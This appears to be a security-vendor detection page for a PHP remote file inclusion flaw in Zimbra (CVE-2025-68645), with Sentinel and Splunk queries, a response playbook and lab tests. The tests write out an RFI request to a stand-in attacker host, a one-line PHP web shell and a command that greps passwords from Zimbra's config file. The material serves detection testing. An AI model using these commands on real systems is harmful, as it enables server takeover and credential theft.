CVE-2025-68645 Microsoft Sentinel · KQL

Detect Synacor Zimbra Collaboration Suite PHP Remote File Inclusion (CVE-2025-68645) in Microsoft Sentinel

Detects exploitation of CVE-2025-68645, a PHP Remote File Inclusion (RFI) vulnerability in Synacor Zimbra Collaboration Suite (ZCS). CWE-98 class vulnerabilities allow attackers to inject and execute remote PHP files via unsanitized user-controlled input passed to PHP file inclusion functions, enabling arbitrary code execution in the context of the web server process. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
union DeviceNetworkEvents, DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where (DeviceName contains "zimbra" or InitiatingProcessCommandLine contains "zimbra" or FolderPath contains "/opt/zimbra")
| where (
    (ActionType == "InboundConnectionAccepted" and RemoteUrl matches regex @"(?i)(https?://[^/]+/.*\.(php|txt|jpg|png|gif)\?.*=https?://|file://|ftp://)")
    or (ProcessCommandLine matches regex @"(?i)(include|require|include_once|require_once)\s*\(.*https?://")
    or (InitiatingProcessCommandLine matches regex @"(?i)curl\s.*-o.*\.php|wget\s.*\.php|fetch.*http")
    or (FolderPath matches regex @"/opt/zimbra/(data/tmp|store|index)/.*\.php$")
)
| project TimeGenerated, DeviceName, ActionType, ProcessCommandLine, InitiatingProcessCommandLine, RemoteUrl, FolderPath, AccountName, RemoteIP
| order by TimeGenerated desc
critical severity medium confidence

Detects PHP Remote File Inclusion exploitation attempts against Zimbra ZCS by correlating inbound HTTP requests with RFI-pattern URLs and unexpected PHP file creation in Zimbra data directories.

Data Sources

Microsoft Defender for EndpointMicrosoft SentinelAzure Monitor

Required Tables

DeviceNetworkEventsDeviceProcessEventsDeviceFileEvents

False Positives & Tuning

  • Legitimate administrative scripts using PHP include with local paths that superficially match regex patterns
  • Zimbra automated backup or migration tasks that fetch remote content via curl/wget
  • Security scanners performing vulnerability assessments against Zimbra endpoints
  • Development environments where PHP files are legitimately fetched for testing purposes

Other platforms for CVE-2025-68645

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate PHP RFI via HTTP Request Parameter Injection

    Expected signal: Web server access log entry with URL parameter containing http://attacker.lab/malicious.php; network connection attempt from PHP process to attacker.lab:80

  2. Test 2Create Simulated Web Shell in Zimbra Data Directory

    Expected signal: File creation event for /opt/zimbra/data/tmp/lab_test/shell_test_atomic.php; auditd syscall event for open/write by test user

  3. Test 3PHP Process Invoking Remote File Fetch (RFI Simulation)

    Expected signal: Process telemetry showing php binary with command-line containing http:// URL; network connection attempt from php process to 127.0.0.1:9999 (or external IP in real attack)

  4. Test 4Zimbra Config File Access by Non-Zimbra Process (Post-Exploitation Credential Harvest)

    Expected signal: Auditd open/read syscall event on /opt/zimbra/conf/localconfig.xml by non-zimbra UID; file access timestamp update visible in stat output

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Verify the affected host is running Zimbra Collaboration Suite by checking /opt/zimbra/bin/zmcontrol -v and confirming the installed version against vendor advisories at https://wiki.zimbra.com/wiki/Security_Center.
  2. Review Zimbra mailbox and proxy access logs (/opt/zimbra/log/mailbox.log, /opt/zimbra/log/nginx.access.log) for HTTP requests containing URL-encoded remote file paths in query parameters, particularly patterns like ?param=http:// or ?param=ftp://.
  3. Identify all PHP files created or modified in non-standard Zimbra directories (/opt/zimbra/data/tmp, /opt/zimbra/store, /opt/zimbra/index) within the past 72 hours using: find /opt/zimbra -name '*.php' -newer /opt/zimbra/lib -not -path '*/lib/*' -not -path '*/zimlets/*'.
  4. Check for active network connections from Zimbra PHP processes to external hosts: ss -plant | grep php; lsof -i -P -n | grep php.
  5. Correlate source IP addresses from suspicious requests against known threat actor infrastructure and CISA KEV exploit campaigns targeting mail servers.

Containment

  1. Immediately block inbound HTTP/HTTPS traffic to the Zimbra server from the identified attacker IP(s) at the perimeter firewall and apply WAF rules to block requests containing remote URL patterns in query parameters (block patterns: =http://, =ftp://, =php://input in URL query strings).
  2. If active exploitation is confirmed or a web shell is discovered, isolate the Zimbra host from the network (disable external-facing interfaces or place behind a deny-all ACL) while preserving disk state for forensic analysis — do NOT reboot or wipe before imaging.
  3. Disable the compromised Zimbra service account and rotate all Zimbra admin credentials; revoke any active admin sessions via: /opt/zimbra/bin/zmprov gaaa | xargs -I{} /opt/zimbra/bin/zmprov gasm {}.

Evidence Collection

  1. Capture a full disk image or at minimum a forensic copy of /opt/zimbra/data/tmp, /opt/zimbra/store, /opt/zimbra/index, and /opt/zimbra/log before any remediation steps. Use: tar czf /tmp/zimbra_evidence_$(date +%Y%m%d_%H%M%S).tar.gz /opt/zimbra/log /opt/zimbra/data/tmp.
  2. Collect running process list, network connections, open files, and loaded kernel modules at time of discovery: ps auxf > /tmp/ps_snapshot.txt; ss -antup > /tmp/ss_snapshot.txt; lsof > /tmp/lsof_snapshot.txt; lsmod > /tmp/lsmod_snapshot.txt.
  3. Extract and preserve all web shell candidates: find /opt/zimbra -name '*.php' -newer /opt/zimbra/lib -not -path '*/lib/*' | xargs -I{} cp {} /tmp/webshell_candidates/ 2>/dev/null; hash all collected files with sha256sum.

Escalation Criteria

  • !Escalate immediately to incident response if any of the following are confirmed: web shell discovered in Zimbra directories, evidence of lateral movement from the Zimbra host (SSH, RDP, or SMB connections to internal hosts), credential dumping activity (/etc/shadow access, /opt/zimbra/conf/localconfig.xml reads by non-zimbra processes), or data exfiltration (large outbound transfers to external IPs).
  • !Escalate to executive leadership and legal/compliance if the Zimbra server stores regulated data (PII, PHI, financial records) or if the server is used for external communications with customers or partners, given the potential for email content exposure.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs showing requests with remote URL injection patterns: /opt/zimbra/log/nginx.access.log, /opt/zimbra/log/mailbox.log
  • >Unexpected PHP files in Zimbra data directories: /opt/zimbra/data/tmp/*.php, /opt/zimbra/store/**/*.php
  • >Linux audit log entries showing PHP process spawning child shells: /var/log/audit/audit.log (AVC/syscall events for php-fpm execve)
  • >Zimbra localconfig credentials file access timestamps: /opt/zimbra/conf/localconfig.xml — check atime for unauthorized reads
  • >Cron entries or systemd timers added by attacker for persistence: /var/spool/cron/zimbra, /etc/systemd/system/*.service

Tuning Guidance

Start with high-severity alerting on PHP file creation in /opt/zimbra/data/tmp and /opt/zimbra/index directories, as legitimate Zimbra operations rarely write PHP files to these paths. For URL parameter injection detections, build an allowlist of known Zimbra API endpoints that legitimately accept URL-formatted parameters (e.g., CalDAV/CardDAV sync endpoints) to reduce false positives. Tune PHP outbound connection alerts by allowlisting known Zimbra update servers and licensed third-party integration endpoints. In environments with Zimbra Network Edition, cross-reference license manager outbound connections to avoid FP noise. Consider correlating low-confidence individual signals (URL param injection alone) into higher-confidence composite alerts only when two or more signals fire within a 10-minute window on the same host.

Hunting Queries

Threat hunt for PHP processes spawning unexpected child processes (shells, download utilities, network tools) within Zimbra installation paths — high-fidelity indicator of active post-exploitation activity following RFI compromise.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated > ago(30d)
| where FolderPath matches regex "/opt/zimbra/(data/tmp|store|index)/.*\.php$"
| where InitiatingProcessFileName in~ ("php", "php-fpm", "php7.4", "php8.0", "php8.1", "nginx", "apache2")
| project TimeGenerated, DeviceName, FolderPath, FileName, SHA256, InitiatingProcessCommandLine, InitiatingProcessAccountName
| order by TimeGenerated desc
Hunting — SPL
spl 
index=os sourcetype=syslog host=*zimbra*
| rex field=_raw "execve.*?\"(?P<process_path>/opt/zimbra/[^\"]+)\""
| rex field=_raw "(?P<spawned_cmd>sh|bash|curl|wget|python|perl|nc|ncat|socat)\s"
| where !isEmpty(process_path) AND !isEmpty(spawned_cmd)
| stats earliest(_time) as first_seen, latest(_time) as last_seen, count by host, process_path, spawned_cmd
| sort -count

Atomic Red Team Tests

Test 1 Simulate PHP RFI via HTTP Request Parameter Injection
linux

Simulates an attacker sending a crafted HTTP request to a Zimbra-like PHP endpoint with a remote URL in a query parameter, mimicking the CWE-98 exploitation pattern.

Command

bash 
curl -sk 'http://127.0.0.1:8080/zimbra/index.php?skin=http://attacker.lab/malicious.php' -H 'User-Agent: Mozilla/5.0' -o /tmp/rfi_response.txt; echo 'RFI request sent, check web logs for parameter injection pattern'

Cleanup

bash 
rm -f /tmp/rfi_response.txt

Expected Telemetry

Web server access log entry with URL parameter containing http://attacker.lab/malicious.php; network connection attempt from PHP process to attacker.lab:80

Expected Detection

KQL/SPL alert on URL query parameter matching =https?:// pattern on Zimbra host; network telemetry showing PHP process initiating outbound HTTP connection

Test 2 Create Simulated Web Shell in Zimbra Data Directory
linux

Simulates the post-RFI step where an attacker writes a PHP web shell to a Zimbra data directory to establish persistent access.

Command

bash 
mkdir -p /opt/zimbra/data/tmp/lab_test && echo '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>' > /opt/zimbra/data/tmp/lab_test/shell_test_atomic.php && echo 'Simulated web shell written to /opt/zimbra/data/tmp/lab_test/shell_test_atomic.php'

Cleanup

bash 
rm -rf /opt/zimbra/data/tmp/lab_test/

Expected Telemetry

File creation event for /opt/zimbra/data/tmp/lab_test/shell_test_atomic.php; auditd syscall event for open/write by test user

Expected Detection

File creation alert for *.php in /opt/zimbra/data/tmp; EDR detection of PHP file written outside expected Zimbra library paths

Test 3 PHP Process Invoking Remote File Fetch (RFI Simulation)
linux

Simulates a PHP process attempting to include a remote file via command-line PHP execution, representing server-side RFI payload execution.

Command

bash 
php -r "echo 'Simulating RFI attempt: ' . 'http://attacker.lab/payload.php'; file_get_contents('http://127.0.0.1:9999/payload.php');" 2>/tmp/php_rfi_test.log || echo 'Connection failed as expected in lab (no listener) - telemetry generated'

Cleanup

bash 
rm -f /tmp/php_rfi_test.log

Expected Telemetry

Process telemetry showing php binary with command-line containing http:// URL; network connection attempt from php process to 127.0.0.1:9999 (or external IP in real attack)

Expected Detection

Process execution alert on PHP command line containing remote URL; network detection on PHP process initiating outbound connection

Test 4 Zimbra Config File Access by Non-Zimbra Process (Post-Exploitation Credential Harvest)
linux

Simulates post-exploitation credential harvesting where an attacker reads the Zimbra localconfig.xml file containing database and LDAP passwords via a web shell or RFI-executed payload.

Command

bash 
sudo -u www-data cat /opt/zimbra/conf/localconfig.xml 2>/dev/null | grep -i 'password\|secret\|key' | head -5 || cat /opt/zimbra/conf/localconfig.xml 2>/dev/null | grep -i 'password\|secret' | head -5 || echo 'localconfig.xml not accessible (expected in hardened lab) - simulated access attempt logged'

Cleanup

bash 
No files created; review audit logs to confirm atime update on localconfig.xml

Expected Telemetry

Auditd open/read syscall event on /opt/zimbra/conf/localconfig.xml by non-zimbra UID; file access timestamp update visible in stat output

Expected Detection

File access alert for localconfig.xml by unexpected process/user; EDR sensitive file access detection

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1059.004Unix ShellT1078Valid Accounts

Same Tactic: Initial Access

Popular Detections